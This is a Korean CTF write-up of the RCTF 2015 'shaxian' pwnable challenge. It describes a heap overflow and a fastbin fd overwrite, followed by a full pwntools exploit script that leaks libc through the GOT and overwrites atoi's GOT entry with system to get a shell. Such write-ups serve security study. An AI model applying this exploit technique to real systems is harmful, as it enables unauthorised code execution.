Pwnable/CTF

RCTF 2015 SHAXPIAN

HSr00t 2017. 11. 4. 21:20


첫 번째 메뉴 함수 사진이다.

여기서 보면 마지막 heap이 저장되어있는 포인터를 가지고와서 새롭게 할당되는 heap + 36에 이전 청크의 힙을 넣고 0x0804b1c0 포인터에 자기자신을 넣는다.(최신 청크니깐) 그 중간에 입력받는데 40만큼 할당하고 60만큼 입력받으면서 오버플로우가 일어난다.





처음 들어올때 입력받는 부분인데 0x0804b0c0(phone number) 0x0804b1c0(heap pointer) 0x0804b1e0(address) 순으로 전역변수가 선언되어있는데 우리는 이전 청크 pointer를 덮을 수 있고 heap pointer 가까이에 접근이 가능하다 그 뜻은 pointer 부분 이전에 phone_number 부분에 페이크 청크를 만들고 다음 청크 fd부분을 조작하고(fastbin fd overwrite) heap pointer를 조작하면 쉘을 딸수있다.


1번 메뉴 사진에서 할당을하고 +36에 주소값을 넣고 heap pointer에 데이터를 입력받고 int형으로 입력을 받는다.

그 중간에 포인터를 조작하면 그 조작된 부분에 int형으로 입력할수있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
p=process("./shaxian")
elf=ELF("./shaxian")
 
def add_number(address,number):
    p.recvuntil(':')
    p.sendline(address)
    p.recvuntil(':')
    p.sendline(number)
 
def DIAN_CAI(shen,many):
    p.recvuntil(':')
    p.sendline("1")
    p.recvuntil('iao')
    p.sendline(shen)
    p.recvuntil('?')
    p.sendline(str(many))
 
def submit():
    p.recvuntil(':')
    p.sendline("2")
 
def receipt(RECEIPT):
    p.recvuntil(':')
    p.sendline("3")
    p.recvuntil(':')
    p.sendline(RECEIPT)
 
def review():
    p.recvuntil(':')
    p.sendline("4")
 
prev = 0x0804b1b0
 
add_number("/bin/sh\00","D"*240+p32(0)+p32(0x31))
DIAN_CAI("A"*24,24)
DIAN_CAI("B"*24,24)
submit()
review()
print p.recvuntil("A"*24+" * ")
heap = p.recv(9)
heap = int(heap)
heap = hex(heap)
heap = int(heap,16)
heap_1 = heap - 0x30
print hex(heap)
print hex(heap_1)
 
DIAN_CAI("A"*32+p32(elf.got['malloc']),40)
review()
p.recvuntil('40\n')
puts = u32(p.recv(4))
libc_base = puts - 0x5fca0
system = libc_base + 0x3ada0
print hex(puts)
print hex(libc_base)
print hex(system)
 
DIAN_CAI("B"*32+p32(0),38)
DIAN_CAI("C"*32+p32(heap+0x8),38)
DIAN_CAI("D"*31,40)
 
submit()
 
DIAN_CAI("B"*32+p32(0)+p32(0)+p32(0x31)+p32(prev),50)
DIAN_CAI("C"*32+p32(prev+0x8),36)
print hex(prev)
 
payload = "Z"*4
payload += p32(elf.got['atoi'])
 
max_hex = 0xffffffff
 
 
 
payload2 = max_hex - system
payload2 = (0 - payload2) - 1
print hex(elf.got['atoi'])
print puts
print int(payload2)
DIAN_CAI(payload,str(payload2))
 
p.recv(1024)
p.sendline("1")
p.recv(1024)
p.sendline("2")
 
p.interactive()
 
cs